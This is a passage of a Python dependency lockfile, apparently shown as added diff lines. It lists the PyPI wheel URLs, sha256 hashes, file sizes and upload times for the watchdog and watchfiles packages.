"https://files.pythonhosted.org/packages/5c/51/d46dc9332f9a647593c947b4b88e2381c8dfc0942d15b8edc0310fa4abb1/watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379", size = 79078, upload-time = "2024-11-01T14:07:01.431Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/04edbf5e169cd318d5f07b4766fee38e825d64b6913ca157ca32d1a42267/watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e", size = 79076, upload-time = "2024-11-01T14:07:02.568Z" }, + { url = "https://files.pythonhosted.org/packages/ab/cc/da8422b300e13cb187d2203f20b9253e91058aaf7db65b74142013478e66/watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f", size = 79077, upload-time = "2024-11-01T14:07:03.893Z" }, + { url = "https://files.pythonhosted.org/packages/2c/3b/b8964e04ae1a025c44ba8e4291f86e97fac443bca31de8bd98d3263d2fcf/watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26", size = 79078, upload-time = "2024-11-01T14:07:05.189Z" }, + { url = "https://files.pythonhosted.org/packages/62/ae/a696eb424bedff7407801c257d4b1afda455fe40821a2be430e173660e81/watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c", size = 79077, upload-time = "2024-11-01T14:07:06.376Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e8/dbf020b4d98251a9860752a094d09a65e1b436ad181faf929983f697048f/watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2", size = 79078, upload-time = "2024-11-01T14:07:07.547Z" }, + { url = "https://files.pythonhosted.org/packages/07/f6/d0e5b343768e8bcb4cda79f0f2f55051bf26177ecd5651f84c07567461cf/watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a", size = 79065, upload-time = "2024-11-01T14:07:09.525Z" }, + { url = "https://files.pythonhosted.org/packages/db/d9/c495884c6e548fce18a8f40568ff120bc3a4b7b99813081c8ac0c936fa64/watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680", size = 79070, upload-time = "2024-11-01T14:07:10.686Z" }, + { url = "https://files.pythonhosted.org/packages/33/e8/e40370e6d74ddba47f002a32919d91310d6074130fe4e17dabcafc15cbf1/watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f", size = 79067, upload-time = "2024-11-01T14:07:11.845Z" }, +] + +[[package]] +name = "watchfiles" +version = "1.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c2/c9/8869df9b2a2d6c59d79220a4db37679e74f807c559ffe5265e08b227a210/watchfiles-1.1.1.tar.gz", hash = "sha256:a173cb5c16c4f40ab19cecf48a534c409f7ea983ab8fed0741304a1c0a31b3f2", size = 94440, upload-time = "2025-10-14T15:06:21.08Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a7/1a/206e8cf2dd86fddf939165a57b4df61607a1e0add2785f170a3f616b7d9f/watchfiles-1.1.1-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:eef58232d32daf2ac67f42dea51a2c80f0d03379075d44a587051e63cc2e368c", size = 407318, upload-time = "2025-10-14T15:04:18.753Z" }, + { url = "https://files.pythonhosted.org/packages/b3/0f/abaf5262b9c496b5dad4ed3c0e799cbecb1f8ea512ecb6ddd46646a9fca3/watchfiles-1.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:03fa0f5237118a0c5e496185cafa92878568b652a2e9a9382a5151b1a0380a43", size = 394478, upload-time = "2025-10-14T15:04:20.297Z" }, + { url = "https://files.pythonhosted.org/packages/b1/04/9cc0ba88697b34b755371f5ace8d3a4d9a15719c07bdc7bd13d7d8c6a341/watchfiles-1.1.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8ca65483439f9c791897f7db49202301deb6e15fe9f8fe2fed555bf986d10c31", size = 449894, upload-time = "2025-10-14T15:04:21.527Z" }, + { url = "https://files.pythonhosted.org/packages/d2/9c/eda4615863cd8621e89aed4df680d8c3ec3da6a4cf1da113c17decd87c7f/watchfiles-1.1.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f0ab1c1af0cb38e3f598244c17919fb1a84d1629cc08355b0074b6d7f53138ac", size = 459065, upload-time = "2025-10-14T15:04:22.795Z" }, + { url = "https://files.pythonhosted.org/packages/84/13/f28b3f340157d03cbc8197629bc109d1098764abe1e60874622a0be5c112/watchfiles-1.1.1-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bc570d6c01c206c46deb6e935a260be44f186a2f05179f52f7fcd2be086a94d", size = 488377, upload-time = "2025-10-14T15:04:24.138Z" }, + { url = "https://files.pythonhosted.org/packages/86/93/cfa597fa9389e122488f7ffdbd6db505b3b915ca7435ecd7542e855898c2/watchfiles-1.1.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e84087b432b6ac94778de547e08611266f1f8ffad28c0ee4c82e028b0fc5966d", size = 595837, upload-time = "2025-10-14T15:04:25.057Z" }, + { url = "https://files.pythonhosted.org/packages/57/1e/68c1ed5652b48d89fc24d6af905d88ee4f82fa8bc491e2666004e307ded1/watchfiles-1.1.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:620bae625f4cb18427b1bb1a2d9426dc0dd5a5ba74c7c2cdb9de405f7b129863", size = 473456, upload-time = "2025-10-14T15:04:26.497Z" }, + { url = "https://files.pythonhosted.org/packages/d5/dc/1a680b7458ffa3b14bb64878112aefc8f2e4f73c5af763cbf0bd43100658/watchfiles-1.1.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:544364b2b51a9b0c7000a4b4b02f90e9423d97fbbf7e06689236443ebcad81ab", size = 455614, upload-time = "2025-10-14T15:04:27.539Z" }, + { url = "https://files.pythonhosted.org/packages/61/a5/3d782a666512e01eaa6541a72ebac1d3aae191ff4a31274a66b8dd85760c/watchfiles-1.1.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:bbe1ef33d45bc71cf21364df962af171f96ecaeca06bd9e3d0b583efb12aec82", size = 630690, upload-time = "2025-10-14T15:04:28.495Z" }, + { url = "https://files.pythonhosted.org/packages/9b/73/bb5f38590e34687b2a9c47a244aa4dd50c56a825969c92c9c5fc7387cea1/watchfiles-1.1.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:1a0bb430adb19ef49389e1ad368450193a90038b5b752f4ac089ec6942c4dff4", size = 622459, upload-time = "2025-10-14T15:04:29.491Z" }, + { url = "https://files.pythonhosted.org/packages/f1/ac/c9bb0ec696e07a20bd58af5399aeadaef195fb2c73d26baf55180fe4a942/watchfiles-1.1.1-cp310-cp310-win32.whl", hash = "sha256:3f6d37644155fb5beca5378feb8c1708d5783145f2a0f1c4d5a061a210254844", size = 272663, upload-time = "2025-10-14T15:04:30.435Z" }, + { url = "https://files.pythonhosted.org/packages/11/a0/a60c5a7c2ec59fa062d9a9c61d02e3b6abd94d32aac2d8344c4bdd033326/watchfiles-1.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:a36d8efe0f290835fd0f33da35042a1bb5dc0e83cbc092dcf69bce442579e88e", size = 287453, upload-time = "2025-10-14T15:04:31.53Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f8/2c5f479fb531ce2f0564eda479faecf253d886b1ab3630a39b7bf7362d46/watchfiles-1.1.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:f57b396167a2565a4e8b5e56a5a1c537571733992b226f4f1197d79e94cf0ae5", size = 406529, upload-time = "2025-10-14T15:04:32.899Z" }, + { url = "https://files.pythonhosted.org/packages/fe/cd/f515660b1f32f65df671ddf6f85bfaca621aee177712874dc30a97397977/watchfiles-1.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:421e29339983e1bebc281fab40d812742268ad057db4aee8c4d2bce0af43b741", size = 394384, upload-time = "2025-10-14T15:04:33.761Z" }, + { url = "https://files.pythonhosted.org/packages/7b/c3/28b7dc99733eab43fca2d10f55c86e03bd6ab11ca31b802abac26b23d161/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6e43d39a741e972bab5d8100b5cdacf69db64e34eb19b6e9af162bccf63c5cc6", size = 448789, upload-time = "2025-10-14T15:04:34.679Z" }, + { url = "https://files.pythonhosted.org/packages/4a/24/33e71113b320030011c8e4316ccca04194bf0cbbaeee207f00cbc7d6b9f5/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f537afb3276d12814082a2e9b242bdcf416c2e8fd9f799a737990a1dbe906e5b", size = 460521, upload-time = "2025-10-14T15:04:35.963Z" }, + { url = "https://files.pythonhosted.org/packages/f4/c3/3c9a55f255aa57b91579ae9e98c88704955fa9dac3e5614fb378291155df/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b2cd9e04277e756a2e2d2543d65d1e2166d6fd4c9b183f8808634fda23f17b14", size = 488722, upload-time = "2025-10-14T15:04:37.091Z" }, + { url = "https://files.pythonhosted.org/packages/49/36/506447b73eb46c120169dc1717fe2eff07c234bb3232a7200b5f5bd816e9/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5f3f58818dc0b07f7d9aa7fe9eb1037aecb9700e63e1f6acfed13e9fef648f5d", size = 596088, upload-time = "2025-10-14T15:04:38.39Z" }, + { url = "https://files.pythonhosted.org/packages/82/ab/5f39e752a9838ec4d52e9b87c1e80f1ee3ccdbe92e183c15b6577ab9de16/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9bb9f66367023ae783551042d31b1d7fd422e8289eedd91f26754a66f44d5cff", size = 472923, upload-time = "2025-10-14T15:04:39.666Z" }, + { url = "https://files.pythonhosted.org/packages/af/b9/a419292f05e302dea372fa7e6fda5178a92998411f8581b9830d28fb9edb/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aebfd0861a83e6c3d1110b78ad54704486555246e542be3e2bb94195eabb2606", size = 456080, upload-time = "2025-10-14T15:04:40.643Z" }, + { url = "https://files.pythonhosted.org/packages/b0/c3/d5932fd62bde1a30c36e10c409dc5d54506726f08cb3e1d8d0ba5e2bc8db/watchfiles-1.1.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:5fac835b4ab3c6487b5dbad78c4b3724e26bcc468e886f8ba8cc4306f68f6701", size = 629432, upload-time = "2025-10-14T15:04:41.789Z" }, + { url = "https://files.pythonhosted.org/packages/f7/77/16bddd9779fafb795f1a94319dc965209c5641db5bf1edbbccace6d1b3c0/watchfiles-1.1.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:399600947b170270e80134ac854e21b3ccdefa11a9529a3decc1327088180f10", size = 623046, upload-time = "2025-10-14T15:04:42.718Z" }, + { url = "https://files.pythonhosted.org/packages/46/ef/f2ecb9a0f342b4bfad13a2787155c6ee7ce792140eac63a34676a2feeef2/watchfiles-1.1.1-cp311-cp311-win32.whl", hash = "sha256:de6da501c883f58ad50db3a32ad397b09ad29865b5f26f64c24d3e3281685849", size = 271473, upload-time = "2025-10-14T15:04:43.624Z" }, + { url = "https://files.pythonhosted.org/packages/94/bc/f42d71125f19731ea435c3948cad148d31a64fccde3867e5ba4edee901f9/watchfiles-1.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:35c53bd62a0b885bf653ebf6b700d1bf05debb78ad9292cf2a942b23513dc4c4", size = 287598, upload-time = "2025-10-14T15:04:44.516Z" }, + { url = "https://files.pythonhosted.org/packages/57/c9/a30f897351f95bbbfb6abcadafbaca711ce1162f4db95fc908c98a9165f3/watchfiles-1.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:57ca5281a8b5e27593cb7d82c2ac927ad88a96ed406aa446f6344e4328208e9e", size = 277210, upload-time = "2025-10-14T15:04:45.883Z" }, + { url = "https://files.pythonhosted.org/packages/74/d5/f039e7e3c639d9b1d09b07ea412a6806d38123f0508e5f9b48a87b0a76cc/watchfiles-1.1.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:8c89f9f2f740a6b7dcc753140dd5e1ab9215966f7a3530d0c0705c83b401bd7d", size = 404745, upload-time = "2025-10-14T15:04:46.731Z" }, + { url = "https://files.pythonhosted.org/packages/a5/96/a881a13aa1349827490dab2d363c8039527060cfcc2c92cc6d13d1b1049e/watchfiles-1.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:bd404be08018c37350f0d6e34676bd1e2889990117a2b90070b3007f172d0610", size = 391769, upload-time = "2025-10-14T15:04:48.003Z" }, + { url = "https://files.pythonhosted.org/packages/4b/5b/d3b460364aeb8da471c1989238ea0e56bec24b6042a68046adf3d9ddb01c/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8526e8f916bb5b9a0a777c8317c23ce65de259422bba5b31325a6fa6029d33af", size = 449374, upload-time = "2025-10-14T15:04:49.179Z" }, + { url = "https://files.pythonhosted.org/packages/b9/44/5769cb62d4ed055cb17417c0a109a92f007114a4e07f30812a73a4efdb11/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2edc3553362b1c38d9f06242416a5d8e9fe235c204a4072e988ce2e5bb1f69f6", size = 459485, upload-time = "2025-10-14T15:04:50.155Z" }, + { url = "https://files.pythonhosted.org/packages/19/0c/286b6301ded2eccd4ffd0041a1b726afda999926cf720aab63adb68a1e36/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:30f7da3fb3f2844259cba4720c3fc7138eb0f7b659c38f3bfa65084c7fc7abce", size = 488813, upload-time = "2025-10-14T15:04:51.059Z" }, + { url = "https://files.pythonhosted.org/packages/c7/2b/8530ed41112dd4a22f4dcfdb5ccf6a1baad1ff6eed8dc5a5f09e7e8c41c7/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f8979280bdafff686ba5e4d8f97840f929a87ed9cdf133cbbd42f7766774d2aa", size = 594816, upload-time = "2025-10-14T15:04:52.031Z" }, + { url = "https://files.pythonhosted.org/packages/ce/d2/f5f9fb49489f184f18470d4f99f4e862a4b3e9ac2865688eb2099e3d837a/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dcc5c24523771db3a294c77d94771abcfcb82a0e0ee8efd910c37c59ec1b31bb", size = 475186, upload-time = "2025-10-14T15:04:53.064Z" }, + { url = "https://files.pythonhosted.org/packages/cf/68/5707da262a119fb06fbe214d82dd1fe4a6f4af32d2d14de368d0349eb52a/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1db5d7ae38ff20153d542460752ff397fcf5c96090c1230803713cf3147a6803", size = 456812, upload-time = "2025-10-14T15:04:55.174Z" }, + { url = "https://files.pythonhosted.org/packages/66/ab/3cbb8756323e8f9b6f9acb9ef4ec26d42b2109bce830cc1f3468df20511d/watchfiles-1.1.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:28475ddbde92df1874b6c5c8aaeb24ad5be47a11f87cde5a28ef3835932e3e94", size = 630196, upload-time = "2025-10-14T15:04:56.22Z" }, + { url = "https://files.pythonhosted.org/packages/78/46/7152ec29b8335f80167928944a94955015a345440f524d2dfe63fc2f437b/watchfiles-1.1.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:36193ed342f5b9842edd3532729a2ad55c4160ffcfa3700e0d54be496b70dd43", size = 622657, upload-time = "2025-10-14T15:04:57.521Z" }, + { url = "https://files.pythonhosted.org/packages/0a/bf/95895e78dd75efe9a7f31733607f384b42eb5feb54bd2eb6ed57cc2e94f4/watchfiles-1.1.1-cp312-cp312-win32.whl", hash = "sha256:859e43a1951717cc8de7f4c77674a6d389b106361585951d9e69572823f311d9", size = 272042, upload-time = "2025-10-14T15:04:59.046Z" }, + { url = "https://files.pythonhosted.org/packages/87/0a/90eb755f568de2688cb220171c4191df932232c20946966c27a59c400850/watchfiles-1.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:91d4c9a823a8c987cce8fa2690923b069966dabb196dd8d137ea2cede885fde9", size = 288410, upload-time = "2025-10-14T15:05:00.081Z" }, + { url = "https://files.pythonhosted.org/packages/36/76/f322701530586922fbd6723c4f91ace21364924822a8772c549483abed13/watchfiles-1.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:a625815d4a2bdca61953dbba5a39d60164451ef34c88d751f6c368c3ea73d404", size = 278209, upload-time = "2025-10-14T15:05:01.168Z" }, + { url = "https://files.pythonhosted.org/packages/bb/f4/f750b29225fe77139f7ae5de89d4949f5a99f934c65a1f1c0b248f26f747/watchfiles-1.1.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:130e4876309e8686a5e37dba7d5e9bc77e6ed908266996ca26572437a5271e18", size = 404321, upload-time = "2025-10-14T15:05:02.063Z" }, + { url = "https://files.pythonhosted.org/packages/2b/f9/f07a295cde762644aa4c4bb0f88921d2d141af45e735b965fb2e87858328/watchfiles-1.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:5f3bde70f157f84ece3765b42b4a52c6ac1a50334903c6eaf765362f6ccca88a", size = 391783, upload-time = "2025-10-14T15:05:03.052Z" }, + { url = "https://files.pythonhosted.org/packages/bc/11/fc2502457e0bea39a5c958d86d2cb69e407a4d00b85735ca724bfa6e0d1a/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:14e0b1fe858430fc0251737ef3824c54027bedb8c37c38114488b8e131cf8219", size = 449279, upload-time = "2025-10-14T15:05:04.004Z" }, + { url = "https://files.pythonhosted.org/packages/e3/1f/d66bc15ea0b728df3ed96a539c777acfcad0eb78555ad9efcaa1274688f0/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f27db948078f3823a6bb3b465180db8ebecf26dd5dae6f6180bd87383b6b4428", size = 459405, upload-time = "2025-10-14T15:05:04.942Z" }, + { url = "https://files.pythonhosted.org/packages/be/90/9f4a65c0aec3ccf032703e6db02d89a157462fbb2cf20dd415128251cac0/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:059098c3a429f62fc98e8ec62b982230ef2c8df68c79e826e37b895bc359a9c0", size = 488976, upload-time = "2025-10-14T15:05:05.905Z" }, + { url = "https://files.pythonhosted.org/packages/37/57/ee347af605d867f712be7029bb94c8c071732a4b44792e3176fa3c612d39/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bfb5862016acc9b869bb57284e6cb35fdf8e22fe59f7548858e2f971d045f150", size = 595506, upload-time = "2025-10-14T15:05:06.906Z" }, + { url = "https://files.pythonhosted.org/packages/a8/78/cc5ab0b86c122047f75e8fc471c67a04dee395daf847d3e59381996c8707/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:319b27255aacd9923b8a276bb14d21a5f7ff82564c744235fc5eae58d95422ae", size = 474936, upload-time = "2025-10-14T15:05:07.906Z" }, + { url = "https://files.pythonhosted.org/packages/62/da/def65b170a3815af7bd40a3e7010bf6ab53089ef1b75d05dd5385b87cf08/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c755367e51db90e75b19454b680903631d41f9e3607fbd941d296a020c2d752d", size = 456147, upload-time = "2025-10-14T15:05:09.138Z" }, + { url = "https://files.pythonhosted.org/packages/57/99/da6573ba71166e82d288d4df0839128004c67d2778d3b566c138695f5c0b/watchfiles-1.1.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c22c776292a23bfc7237a98f791b9ad3144b02116ff10d820829ce62dff46d0b", size = 630007, upload-time = "2025-10-14T15:05:10.117Z" }, + { url = "https://files.pythonhosted.org/packages/a8/51/7439c4dd39511368849eb1e53279cd3454b4a4dbace80bab88feeb83c6b5/watchfiles-1.1.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:3a476189be23c3686bc2f4321dd501cb329c0a0469e77b7b534ee10129ae6374", size = 622280, upload-time = "2025-10-14T15:05:11.146Z" }, + { url = "https://files.pythonhosted.org/packages/95/9c/8ed97d4bba5db6fdcdb2b298d3898f2dd5c20f6b73aee04eabe56c59677e/watchfiles-1.1.1-cp313-cp313-win32.whl", hash = "sha256:bf0a91bfb5574a2f7fc223cf95eeea79abfefa404bf1ea5e339c0c1560ae99a0", size = 272056, upload-time = "2025-10-14T15:05:12.156Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f3/c14e28429f744a260d8ceae18bf58c1d5fa56b50d006a7a9f80e1882cb0d/watchfiles-1.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:52e06553899e11e8074503c8e716d574adeeb7e68913115c4b3653c53f9bae42", size = 288162, upload-time = "2025-10-14T15:05:13.208Z" }, + { url = "https://files.pythonhosted.org/packages/dc/61/fe0e56c40d5cd29523e398d31153218718c5786b5e636d9ae8ae79453d27/watchfiles-1.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:ac3cc5759570cd02662b15fbcd9d917f7ecd47efe0d6b40474eafd246f91ea18", size = 277909, upload-time = "2025-10-14T15:05:14.49Z" }, + { url = "https://files.pythonhosted.org/packages/79/42/e0a7d749626f1e28c7108a99fb9bf524b501bbbeb9b261ceecde644d5a07/watchfiles-1.1.1-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:563b116874a9a7ce6f96f87cd0b94f7faf92d08d0021e837796f0a14318ef8da", size = 403389, upload-time = "2025-10-14T15:05:15.777Z" }, + { url = "https://files.pythonhosted.org/packages/15/49/08732f90ce0fbbc13913f9f215c689cfc9ced345fb1bcd8829a50007cc8d/watchfiles-1.1.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3ad9fe1dae4ab4212d8c91e80b832425e24f421703b5a42ef2e4a1e215aff051", size = 389964, upload-time = "2025-10-14T15:05:16.85Z" }, + { url = "https://files.pythonhosted.org/packages/27/0d/7c315d4bd5f2538910491a0393c56bf70d333d51bc5b34bee8e68e8cea19/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce70f96a46b894b36eba678f153f052967a0d06d5b5a19b336ab0dbbd029f73e", size = 448114, upload-time = "2025-10-14T15:05:17.876Z" }, + { url = "https://files.pythonhosted.org/packages/c3/24/9e096de47a4d11bc4df41e9d1e61776393eac4cb6eb11b3e23315b78b2cc/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:cb467c999c2eff23a6417e58d75e5828716f42ed8289fe6b77a7e5a91036ca70", size = 460264, upload-time = "2025-10-14T15:05:18.962Z" }, + { url = "https://files.pythonhosted.org/packages/cc/0f/e8dea6375f1d3ba5fcb0b3583e2b493e77379834c74fd5a22d66d85d6540/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:836398932192dae4146c8f6f737d74baeac8b70ce14831a239bdb1ca882fc261", size = 487877, upload-time = "2025-10-14T15:05:20.094Z" }, + { url = "https://files.pythonhosted.org/packages/ac/5b/df24cfc6424a12deb41503b64d42fbea6b8cb357ec62ca84a5a3476f654a/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:743185e7372b7bc7c389e1badcc606931a827112fbbd37f14c537320fca08620", size = 595176, upload-time = "2025-10-14T15:05:21.134Z" }, + { url = "https://files.pythonhosted.org/packages/8f/b5/853b6757f7347de4e9b37e8cc3289283fb983cba1ab4d2d7144694871d9c/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:afaeff7696e0ad9f02cbb8f56365ff4686ab205fcf9c4c5b6fdfaaa16549dd04", size = 473577, upload-time = "2025-10-14T15:05:22.306Z" }, + { url = "https://files.pythonhosted.org/packages/e1/f7/0a4467be0a56e80447c8529c9fce5b38eab4f513cb3d9bf82e7392a5696b/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3f7eb7da0eb23aa2ba036d4f616d46906013a68caf61b7fdbe42fc8b25132e77", size = 455425, upload-time = "2025-10-14T15:05:23.348Z" }, + { url = "https://files.pythonhosted.org/packages/8e/e0/82583485ea00137ddf69bc84a2db88bd92ab4a6e3c405e5fb878ead8d0e7/watchfiles-1.1.1-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:831a62658609f0e5c64178211c942ace999517f5770fe9436be4c2faeba0c0ef", size = 628826, upload-time = "2025-10-14T15:05:24.398Z" }, + { url = "https://files.pythonhosted.org/packages/28/9a/a785356fccf9fae84c0cc90570f11702ae9571036fb25932f1242c82191c/watchfiles-1.1.1-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:f9a2ae5c91cecc9edd47e041a930490c31c3afb1f5e6d71de3dc671bfaca02bf", size = 622208, upload-time = "2025-10-14T15:05:25.45Z" }, + { url = "https://files.pythonhosted.org/packages/c3/f4/0872229324ef69b2c3edec35e84bd57a1289e7d3fe74588048ed8947a323/watchfiles-1.1.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:d1715143123baeeaeadec0528bb7441103979a1d5f6fd0e1f915383fea7ea6d5", size = 404315, upload-time = "2025-10-14T15:05:26.501Z" }, + { url = "https://files.pythonhosted.org/packages/7b/22/16d5331eaed1cb107b873f6ae1b69e9ced582fcf0c59a50cd84f403b1c32/watchfiles-1.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:39574d6370c4579d7f5d0ad940ce5b20db0e4117444e39b6d8f99db5676c52fd", size = 390869, upload-time = "2025-10-14T15:05:27.649Z" }, + { url = "https://files.pythonhosted.org/packages/b2/7e/5643bfff5acb6539b18483128fdc0ef2cccc94a5b8fbda130c823e8ed636/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7365b92c2e69ee952902e8f70f3ba6360d0d596d9299d55d7d386df84b6941fb", size = 449919, upload-time = "2025-10-14T15:05:28.701Z" }, + { url = "https://files.pythonhosted.org/packages/51/2e/c410993ba5025a9f9357c376f48976ef0e1b1aefb73b97a5ae01a5972755/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bfff9740c69c0e4ed32416f013f3c45e2ae42ccedd1167ef2d805c000b6c71a5", size = 460845, upload-time = "2025-10-14T15:05:30.064Z" }, + { url = "https://files.pythonhosted.org/packages/8e/a4/2df3b404469122e8680f0fcd06079317e48db58a2da2950fb45020947734/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b27cf2eb1dda37b2089e3907d8ea92922b673c0c427886d4edc6b94d8dfe5db3", size = 489027, upload-time = "2025-10-14T15:05:31.064Z" }, + { url = "https://files.pythonhosted.org/packages/ea/84/4587ba5b1f267167ee715b7f66e6382cca6938e0a4b870adad93e44747e6/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:526e86aced14a65a5b0ec50827c745597c782ff46b571dbfe46192ab9e0b3c33", size = 595615, upload-time = "2025-10-14T15:05:32.074Z" }, + { url = "https://files.pythonhosted.org/packages/6a/0f/c6988c91d06e93cd0bb3d4a808bcf32375ca1904609835c3031799e3ecae/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:04e78dd0b6352db95507fd8cb46f39d185cf8c74e4cf1e4fbad1d3df96faf510", size = 474836, upload-time = "2025-10-14T15:05:33.209Z" }, + { url = "https://files.pythonhosted.org/packages/b4/36/ded8aebea91919485b7bbabbd14f5f359326cb5ec218cd67074d1e426d74/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5c85794a4cfa094714fb9c08d4a218375b2b95b8ed1666e8677c349906246c05", size = 455099, upload-time = "2025-10-14T15:05:34.189Z" }, + { url = 